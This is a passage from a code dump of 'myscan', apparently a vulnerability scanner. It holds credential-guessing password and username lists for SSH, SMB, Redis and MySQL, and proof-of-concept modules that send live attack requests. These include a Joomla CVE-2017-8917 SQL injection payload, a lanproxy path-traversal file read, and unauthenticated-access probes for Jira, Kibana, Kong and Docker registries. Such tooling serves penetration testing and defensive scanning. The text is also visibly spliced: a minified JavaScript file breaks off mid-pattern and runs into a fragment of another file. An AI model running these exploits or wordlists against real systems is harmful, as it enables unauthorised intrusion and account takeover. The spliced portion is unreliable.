75 | aa123456789
76 | aaa123456
77 | abc123
78 | abc123456
79 | abc123456789
80 | abcd123
81 | abcd1234
82 | abcd123456
83 | admin
84 | admin123
85 | admin@123
86 | aini1314
87 | as123456
88 | asd123
89 | asd123456
90 | asdfghjkl
91 | foobared
92 | foobared123
93 | foobared123456
94 | foobared@123
95 | password123
96 | q123456
97 | q123456789
98 | qaz123456
99 | qazwsxedc
100 | qq123456
101 | qq123456789
102 | qq5201314
103 | qwe123
104 | qwe123456
105 | qwerty
106 | qwertyuiop
107 | redis
108 | redis123
109 | redis@123
110 | root
111 | root123
112 | root@123
113 | sunshine
114 | test
115 | test123
116 | w123456
117 | w123456789
118 | wang123456
119 | woaini
120 | woaini123
121 | !QAZ@WSX
122 | !QAZ2wsx
123 | woaini1314
124 | woaini1314520
125 | woaini520
126 | woaini521
127 | www123456
128 | z123456
129 | z123456789
130 | zxc123
131 | zxc123456
132 | zxcvbnm
133 | zxcvbnm123
--------------------------------------------------------------------------------
/myscan/data/brute/mysql_user:
--------------------------------------------------------------------------------
1 | root
2 | mysql
--------------------------------------------------------------------------------
/myscan/data/brute/password-top100.txt:
--------------------------------------------------------------------------------
1 | admin
2 | admin12
3 | admin888
4 | admin8
5 | admin123
6 | sysadmin
7 | adminxxx
8 | adminx
9 | 6kadmin
10 | base
11 | feitium
12 | admins
13 | root
14 | roots
15 | test
16 | test1
17 | test123
18 | test2
19 | password
20 | aaaAAA111
21 | 888888
22 | 88888888
23 | 000000
24 | 00000000
25 | 111111
26 | 11111111
27 | aaaaaa
28 | aaaaaaaa
29 | 135246
30 | 135246789
31 | 123456
32 | 654321
33 | 12345
34 | 54321
35 | 123456789
36 | 1234567890
37 | 0
38 | 123qwe
39 | 123qweasd
40 | qweasd
41 | 123asd
42 | qwezxc
43 | qazxsw
44 | qazwsx
45 | qazwsxedc
46 | 1qaz2wsx
47 | zxcvbn
48 | asdfgh
49 | qwerty
50 | qazxdr
51 | qwaszx
52 | 111111
53 | 123123
54 | 123321
55 | abcdef
56 | abcdefg
57 | !@#$%^
58 | !@#$%
59 | ~!@#$%
60 | %$#@!
61 | ^%$#@~!
62 | 88888
63 | 55555
64 | aaaaa
65 | asd123
66 | qweasdzxc
67 | zxcvb
68 | asdfg
69 | qwert
70 | 1
71 | 2
72 | 3
73 | 4
74 | 5
75 | qwe
76 | qwer
77 | welcome
78 | !@#123
79 | 111
80 | 12
81 | 123
82 | 123!@#
83 | 123654
84 | 123654789
85 | 123654789!
86 | 123go
87 | 1314520
88 | 133135136
89 | 13572468
90 | 19880118
91 | 1992724
92 | 20080808
93 | 3452510
94 | 360
95 | 360sb
96 | 376186027
97 | 3est
98 | 45189946
99 | 4816535
100 | 4lert
--------------------------------------------------------------------------------
/myscan/data/brute/redis_pass:
--------------------------------------------------------------------------------
1 | 000000
2 | 000000000
3 | 0000000000
4 | 0000000000000000
5 | 0123456789
6 | 110120119
7 | 111111
8 | 111111111
9 | 1111111111
10 | 1111111111111111
11 | 123
12 | 123123
13 | 123123123
14 | 1233211234567
15 | 1234554321
16 | 123456
17 | 123456.
18 | 123456..
19 | 123456789
20 | 123456789.
21 | 123456789..
22 | 1234567890
23 | 12345678900
24 | 1234567891
25 | 12345678910
26 | 1234567891234567
27 | 1234567899
28 | 123456789a
29 | 123456789abc
30 | 123456789q
31 | 123456789qq
32 | 123456a
33 | 123456aa
34 | 123456abc
35 | 123456asd
36 | 123456q
37 | 123456qq
38 | 123698745
39 | 123abc
40 | 1314520520
41 | 135792468
42 | 1357924680
43 | 147258369
44 | 1472583690
45 | 19881230
46 | 1qaz2wsx
47 | 253013
48 | 5201314
49 | 5201314520
50 | 52013145201314
51 | 5841314520
52 | 741852963
53 | 7708801314520
54 | 789456123
55 | 7894561230
56 | 987654321
57 | 9876543210
58 | Passw0rd
59 | Password
60 | Password123
61 | Redis
62 | Redis123
63 | Redis@123
64 | Root@123
65 | a123123
66 | a123456
67 | a12345678
68 | a123456789
69 | a5201314
70 | aa123456
71 | aa123456789
72 | aaa123456
73 | abc123
74 | abc123456
75 | abc123456789
76 | abcd123
77 | abcd1234
78 | abcd123456
79 | admin
80 | admin123
81 | admin@123
82 | aini1314
83 | as123456
84 | asd123
85 | asd123456
86 | asdfghjkl
87 | foobared
88 | foobared123
89 | foobared123456
90 | foobared@123
91 | password123
92 | q123456
93 | q123456789
94 | qaz123456
95 | qazwsxedc
96 | qq123456
97 | qq123456789
98 | qq5201314
99 | qwe123
100 | qwe123456
101 | qwerty
102 | qwertyuiop
103 | redis
104 | redis123
105 | redis@123
106 | root
107 | root123
108 | root@123
109 | sunshine
110 | test
111 | test123
112 | w123456
113 | w123456789
114 | wang123456
115 | woaini
116 | woaini123
117 | !QAZ@WSX
118 | woaini1314
119 | woaini1314520
120 | woaini520
121 | woaini521
122 | www123456
123 | z123456
124 | z123456789
125 | zxc123
126 | zxc123456
127 | zxcvbnm
128 | zxcvbnm123
--------------------------------------------------------------------------------
/myscan/data/brute/smb_pass:
--------------------------------------------------------------------------------
1 | 000000
2 | 000000000
3 | 0000000000
4 | 0000000000000000
5 | 0123456789
6 | 110120119
7 | 111111
8 | 111111111
9 | 1111111111
10 | 1111111111111111
11 | 123
12 | 123123
13 | 123123123
14 | 1233211234567
15 | 1234554321
16 | 123456
17 | 123456.
18 | 123456..
19 | 123456789
20 | 123456789.
21 | 123456789..
22 | 1234567890
23 | 12345678900
24 | 1234567891
25 | 12345678910
26 | 1234567891234567
27 | 1234567899
28 | 123456789a
29 | 123456789abc
30 | 123456789q
31 | 123456789qq
32 | 123456a
33 | 123456aa
34 | 123456abc
35 | 123456asd
36 | 123456q
37 | 123456qq
38 | 123698745
39 | 123abc
40 | 1314520520
41 | 135792468
42 | 1357924680
43 | 147258369
44 | 1472583690
45 | 19881230
46 | 1qaz2wsx
47 | 253013
48 | 5201314
49 | 5201314520
50 | 52013145201314
51 | 5841314520
52 | 741852963
53 | 7708801314520
54 | 789456123
55 | 7894561230
56 | 987654321
57 | 9876543210
58 | Passw0rd
59 | Password
60 | Password123
61 | Redis
62 | Redis123
63 | Redis@123
64 | Root@123
65 | a123123
66 | a123456
67 | a12345678
68 | a123456789
69 | a5201314
70 | aa123456
71 | aa123456789
72 | aaa123456
73 | abc123
74 | abc123456
75 | abc123456789
76 | abcd123
77 | abcd1234
78 | abcd123456
79 | admin
80 | admin123
81 | admin@123
82 | aini1314
83 | as123456
84 | asd123
85 | asd123456
86 | asdfghjkl
87 | foobared
88 | foobared123
89 | foobared123456
90 | foobared@123
91 | password123
92 | q123456
93 | q123456789
94 | qaz123456
95 | qazwsxedc
96 | qq123456
97 | qq123456789
98 | qq5201314
99 | qwe123
100 | qwe123456
101 | qwerty
102 | qwertyuiop
103 | redis
104 | redis123
105 | redis@123
106 | root
107 | root123
108 | root@123
109 | sunshine
110 | test
111 | test123
112 | w123456
113 | w123456789
114 | wang123456
115 | woaini
116 | woaini123
117 | !QAZ@WSX
118 | !QAZ2wsx
119 | woaini1314
120 | woaini1314520
121 | woaini520
122 | woaini521
123 | www123456
124 | z123456
125 | z123456789
126 | zxc123
127 | zxc123456
128 | zxcvbnm
129 | zxcvbnm123
--------------------------------------------------------------------------------
/myscan/data/brute/smb_user:
--------------------------------------------------------------------------------
1 | administrator
--------------------------------------------------------------------------------
/myscan/data/brute/ssh_pass:
--------------------------------------------------------------------------------
1 | 000000
2 | 000000000
3 | 0000000000
4 | 0000000000000000
5 | 0123456789
6 | 110120119
7 | 111111
8 | 111111111
9 | 1111111111
10 | 1111111111111111
11 | 123
12 | 123123
13 | 123123123
14 | 1233211234567
15 | 1234554321
16 | 123456
17 | 123456.
18 | 123456..
19 | 123456789
20 | 123456789.
21 | 123456789..
22 | 1234567890
23 | 12345678900
24 | 1234567891
25 | 12345678910
26 | 1234567891234567
27 | 1234567899
28 | 123456789a
29 | 123456789abc
30 | 123456789q
31 | 123456789qq
32 | 123456a
33 | 123456aa
34 | 123456abc
35 | 123456asd
36 | 123456q
37 | 123456qq
38 | 123698745
39 | 123abc
40 | 1314520520
41 | 135792468
42 | 1357924680
43 | 147258369
44 | 1472583690
45 | 19881230
46 | 1qaz2wsx
47 | 253013
48 | 5201314
49 | 5201314520
50 | 52013145201314
51 | 5841314520
52 | 741852963
53 | 7708801314520
54 | 789456123
55 | 7894561230
56 | 987654321
57 | 9876543210
58 | Passw0rd
59 | Password
60 | Password123
61 | Redis
62 | Redis123
63 | Redis@123
64 | Root@123
65 | a123123
66 | a123456
67 | a12345678
68 | a123456789
69 | a5201314
70 | aa123456
71 | aa123456789
72 | aaa123456
73 | abc123
74 | abc123456
75 | abc123456789
76 | abcd123
77 | abcd1234
78 | abcd123456
79 | admin
80 | admin123
81 | admin@123
82 | aini1314
83 | as123456
84 | asd123
85 | asd123456
86 | asdfghjkl
87 | foobared
88 | foobared123
89 | foobared123456
90 | foobared@123
91 | password123
92 | q123456
93 | q123456789
94 | qaz123456
95 | qazwsxedc
96 | qq123456
97 | qq123456789
98 | qq5201314
99 | qwe123
100 | qwe123456
101 | qwerty
102 | qwertyuiop
103 | redis
104 | redis123
105 | redis@123
106 | root
107 | root123
108 | root@123
109 | sunshine
110 | test
111 | test123
112 | w123456
113 | w123456789
114 | wang123456
115 | woaini
116 | woaini123
117 | !QAZ@WSX
118 | !QAZ2wsx
119 | woaini1314
120 | woaini1314520
121 | woaini520
122 | woaini521
123 | www123456
124 | z123456
125 | z123456789
126 | zxc123
127 | zxc123456
128 | zxcvbnm
129 | zxcvbnm123
--------------------------------------------------------------------------------
/myscan/data/brute/ssh_user:
--------------------------------------------------------------------------------
1 | root
--------------------------------------------------------------------------------
/myscan/data/common/dns_servers.txt:
--------------------------------------------------------------------------------
1 | 119.29.29.29
2 | 114.114.114.114
3 | 223.5.5.5
4 | 180.76.76.76
5 | 101.6.6.6
--------------------------------------------------------------------------------
/myscan/htmllib/prism-http.min.js:
--------------------------------------------------------------------------------
1 | Prism.languages.http={"request-line":{pattern:/^(POST|GET|PUT|DELETE|OPTIONS|PATCH|TRACE|CONNECT)\b\shttps?:\/\/\S+\sHTTP\/[0-9.]+/,inside:{property:/^\b(POST|GET|PUT|DELETE|OPTIONS|PATCH|TRACE|CONNECT)\b/,"attr-name":/:\w+/}},"response-status":{pattern:/^HTTP\/1.[01] [0-9]+.*/,inside:{property:/[0-9]+[A-Z\s-]+$/i}},keyword:/^[\w-]+:(?=.+)/m};var httpLanguages={"application/json":Prism.languages.javascript,"application/xml":Prism.languages.markup,"text/xml":Prism.languages.markup,"text/html":Prism.languages.markup};for(var contentType in httpLanguages)if(httpLanguages[contentType]){var options={};options[contentType]={pattern:new RegExp("(content-type:\\s*"+contentType+"[\\w\\W]*?)\\n\\n[\\w\\W]*","i"),lookbehind:!0,inside:{rest:httpLanguages[contentType]}},Prism.languages.insertBefore("http","keyword",options)}
--------------------------------------------------------------------------------
/myscan/htmllib/prism-javascript.min.js:
--------------------------------------------------------------------------------
1 | Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|return|set|static|super|switch|this|throw|true|try|typeof|var|void|while|with|yield)\b/,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|-?Infinity)\b/,"function":/(?!\d)[a-z0-9_$]+(?=\()/i}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^/])\/(?!\/)(\[.+?]|\\.|[^/\r\n])+\/[gim]{0,3}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/",
26 | "method": "GET",
27 | "verify": False,
28 | "timeout": 10,
29 | }
30 | r = request(**req)
31 | if r is not None and b"xxxxxx" in r.content and b'licenseFileName"' in r.content:
32 | parser_ = response_parser(r)
33 | self.result.append({
34 | "name": self.name,
35 | "url": self.url,
36 | "level": self.level, # 0:Low 1:Medium 2:High
37 | "detail": {
38 | "vulmsg": self.vulmsg,
39 | "request": parser_.getrequestraw(),
40 | "response": parser_.getresponseraw()
41 | }
42 | })
43 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/iis/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/info/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/19
3 | # @Author : caicai
4 | # @File : __init__.py.py
5 |
6 |
7 | # 此目录主要是一些提示工作
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/info/poc_docker_registry_listing_2019.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/19
3 | # @Author : caicai
4 | # @File : poc_docker_registry_listing_2019.py
5 |
6 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
7 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
8 | from myscan.config import scan_set
9 | from myscan.lib.core.common import get_random_str
10 |
11 | '''
12 | 未验证
13 | '''
14 | class POC():
15 | def __init__(self, workdata):
16 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
17 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
18 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
19 | self.name = "poc_docker_registry_listing_2019"
20 | self.vulmsg = "you can google it "
21 | self.level = 1 # 0:Low 1:Medium 2:High
22 |
23 | def verify(self):
24 | # 根据config.py 配置的深度,限定一下目录深度
25 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
26 | return
27 | req = {
28 | "method": "GET",
29 | "url": self.url + "v2/_catalog",
30 | "timeout": 10,
31 | "allow_redirects": False,
32 | "verify": False,
33 | }
34 | r = request(**req)
35 | if r != None and "application/json" in str(r.headers) and b'"repositories":' in r.content:
36 | parser_ = response_parser(r)
37 | self.result.append({
38 | "name": self.name,
39 | "url": self.url,
40 | "level": self.level, # 0:Low 1:Medium 2:High
41 | "detail": {
42 | "vulmsg": self.vulmsg,
43 | "request": parser_.getrequestraw(),
44 | "response": parser_.getresponseraw()
45 | }
46 | })
47 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/info/poc_front-page-misconfig.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/20
3 | # @Author : caicai
4 | # @File : poc_front-page-misconfig.py
5 |
6 |
7 |
8 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
9 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
10 | from myscan.config import scan_set
11 |
12 |
13 | class POC():
14 | def __init__(self, workdata):
15 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
16 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
17 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
18 | self.name = "FrontPage configuration information discloure"
19 | self.vulmsg = "find sensitive msg"
20 | self.level = 1 # 0:Low 1:Medium 2:High
21 |
22 | def verify(self):
23 | # 根据config.py 配置的深度,限定一下目录深度
24 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
25 | return
26 | req = {
27 | "method": "GET",
28 | "url": self.url + "_vti_inf.html",
29 | "timeout": 10,
30 | "allow_redirects": False,
31 | "verify": False,
32 | }
33 | r = request(**req)
34 | if r is not None and len(r.content)==247:
35 | parser_ = response_parser(r)
36 | self.result.append({
37 | "name": self.name,
38 | "url": self.url,
39 | "level": self.level, # 0:Low 1:Medium 2:High
40 | "detail": {
41 | "vulmsg": self.vulmsg,
42 | "request": parser_.getrequestraw(),
43 | "response": parser_.getresponseraw()
44 | }
45 | })
46 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/info/poc_jira_service-desk-signup.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/20
3 | # @Author : caicai
4 | # @File : poc_jira_service-desk-signup.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "Jira Unauthenticated Projects"
18 | self.vulmsg = "find sensitive msg"
19 | self.level = 1 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 | req = {
26 | "method": "POST",
27 | "url": self.url + "servicedesk/customer/user/signup",
28 | "headers": {"Content-Type": "application/json"},
29 | "data": '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}',
30 | "timeout": 10,
31 | "allow_redirects": False,
32 | "verify": False,
33 | }
34 | r = request(**req)
35 | if r is not None and r.status_code == 400 and b"signup.validation.errors" in r.content:
36 | parser_ = response_parser(r)
37 | self.result.append({
38 | "name": self.name,
39 | "url": self.url,
40 | "level": self.level, # 0:Low 1:Medium 2:High
41 | "detail": {
42 | "vulmsg": self.vulmsg,
43 | "request": parser_.getrequestraw(),
44 | "response": parser_.getresponseraw()
45 | }
46 | })
47 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/info/poc_jira_unauthenticated-projects.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/20
3 | # @Author : caicai
4 | # @File : poc_jira_unauthenticated-projects.py
5 |
6 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
7 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
8 | from myscan.config import scan_set
9 |
10 |
11 | class POC():
12 | def __init__(self, workdata):
13 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
14 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
15 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
16 | self.name = "Jira Unauthenticated Projects"
17 | self.vulmsg = "find sensitive msg"
18 | self.level = 1 # 0:Low 1:Medium 2:High
19 |
20 | def verify(self):
21 | # 根据config.py 配置的深度,限定一下目录深度
22 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
23 | return
24 | req = {
25 | "method": "GET",
26 | "url": self.url + "rest/api/2/project?maxResults=100",
27 | "timeout": 10,
28 | "allow_redirects": False,
29 | "verify": False,
30 | }
31 | r = request(**req)
32 | words = [
33 | "projects",
34 | "maxResults",
35 | "startAt",
36 | ]
37 | if r != None and all([x.encode() in r.content for x in words]):
38 | parser_ = response_parser(r)
39 | self.result.append({
40 | "name": self.name,
41 | "url": self.url,
42 | "level": self.level, # 0:Low 1:Medium 2:High
43 | "detail": {
44 | "vulmsg": self.vulmsg,
45 | "request": parser_.getrequestraw(),
46 | "response": parser_.getresponseraw()
47 | }
48 | })
49 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/jboss/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/jira/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/jolokia/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/9/17
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/joomla/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/joomla/poc_joomla-cve-2017-8917-sqli_2017.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # @Time : 2020-05-11
3 | # @Author : caicai
4 | # @File : poc_joomla-cve-2017-8917-sqli_2017.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "joomla-cve-2017-8917-sqli"
18 | self.vulmsg = "referer : https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2017-8917"
19 | self.level = 2 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 | req = {
26 | "method": "GET",
27 | "url": self.url + "index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)",
28 | "headers": self.dictdata.get("request").get("headers"),
29 | "timeout": 10,
30 | "allow_redirects": False,
31 | "verify": False,
32 | }
33 | r = request(**req)
34 | if r != None and r.status_code == 500 and b"cf79ae6addba60ad018347359bd144d2" in r.content:
35 | parser_ = response_parser(r)
36 | self.result.append({
37 | "name": self.name,
38 | "url": self.url,
39 | "level": self.level, # 0:Low 1:Medium 2:High
40 | "detail": {
41 | "vulmsg": self.vulmsg,
42 | "request": parser_.getrequestraw(),
43 | "response": parser_.getresponseraw()
44 | }
45 | })
46 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/kibana/poc_kibana-unauth_2018.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # @Time : 2020-05-11
3 | # @Author : caicai
4 | # @File : poc_kibana-unauth_2018.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 |
13 | class POC():
14 | def __init__(self, workdata):
15 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
16 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
17 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
18 | self.name = "kibana-unauth"
19 | self.vulmsg = "未授权访问"
20 | self.level = 2 # 0:Low 1:Medium 2:High
21 |
22 | def verify(self):
23 | # 根据config.py 配置的深度,限定一下目录深度
24 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
25 | return
26 | req = {
27 | "method": "GET",
28 | "url": self.url+"app/kibana",
29 | "headers":self.dictdata.get("request").get("headers"),
30 | "timeout": 10,
31 | "allow_redirects": False,
32 | "verify": False,
33 | }
34 | r = request(**req)
35 | if r != None and r.status_code == 200 and b".kibanaWelcomeView" in r.content:
36 | parser_ = response_parser(r)
37 | self.result.append({
38 | "name": self.name,
39 | "url": self.url,
40 | "level": self.level, # 0:Low 1:Medium 2:High
41 | "detail": {
42 | "vulmsg": self.vulmsg,
43 | "request": parser_.getrequestraw(),
44 | "response": parser_.getresponseraw()
45 | }
46 | })
47 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/kong/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/kong/poc_kong-cve-2020-11710-unauth_2020.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # @Time : 2020-05-11
3 | # @Author : caicai
4 | # @File : poc_kong-cve-2020-11710-unauth_2020.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "kong-cve-2020-11710-unauth"
18 | self.vulmsg = "referer: https://xz.aliyun.com/t/7631"
19 | self.level = 2 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 | req = {
26 | "method": "GET",
27 | "url": self.url,
28 | "timeout": 10,
29 | "allow_redirects": False,
30 | "verify": False,
31 | }
32 | r = request(**req)
33 | if r != None and r.status_code == 200 and b"kong_env" in r.content:
34 | req["url"] = self.url + "status"
35 | r1 = request(**req)
36 | if r1 != None and r1.status_code == 200 and b"kong_db_cache_miss" in r1.content:
37 | parser_ = response_parser(r1)
38 | self.result.append({
39 | "name": self.name,
40 | "url": self.url,
41 | "level": self.level, # 0:Low 1:Medium 2:High
42 | "detail": {
43 | "vulmsg": self.vulmsg,
44 | "request": parser_.getrequestraw(),
45 | "response": parser_.getresponseraw()
46 | }
47 | })
48 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/lanproxy/poc_lanproxy_fileread_2021.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2021/1/8
3 | # @Author : caicai
4 | # @File : poc_lanproxy_fileread_2021.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "lanproxy_fileread"
18 | self.vulmsg = "referer:https://forum.ywhack.com/viewthread.php?tid=114939"
19 | self.level = 3 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 | req = {
26 | "method": "GET",
27 | "url": self.url + "../conf/config.properties",
28 | "timeout": 10,
29 | "allow_redirects": False,
30 | "verify": False,
31 | "quote": False # 新增的参数,path不需要编码,可wireshare抓包看到
32 |
33 | }
34 | r = request(**req)
35 |
36 | if r != None and r.status_code == 200 and "application/octet-stream" in r.headers.get("Content-Type",
37 | "") and b"server.bind" in r.content:
38 | parser_ = response_parser(r)
39 | self.result.append({
40 | "name": self.name,
41 | "url": req.get("url"),
42 | "level": self.level, # 0:Low 1:Medium 2:High
43 | "detail": {
44 | "vulmsg": self.vulmsg,
45 | "request": parser_.getrequestraw(),
46 | "response": parser_.getresponseraw()
47 | }
48 | })
49 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/laravel/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/laravel/poc_laravel-debug-info-leak_2020.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/7/23
3 | # @Author : caicai
4 | # @File : poc_laravel-debug-info-leak_2020.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 | from myscan.lib.core.common import get_random_str
11 |
12 |
13 | class POC():
14 | def __init__(self, workdata):
15 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
16 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
17 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
18 | self.name = "laravel-debug-info-leak"
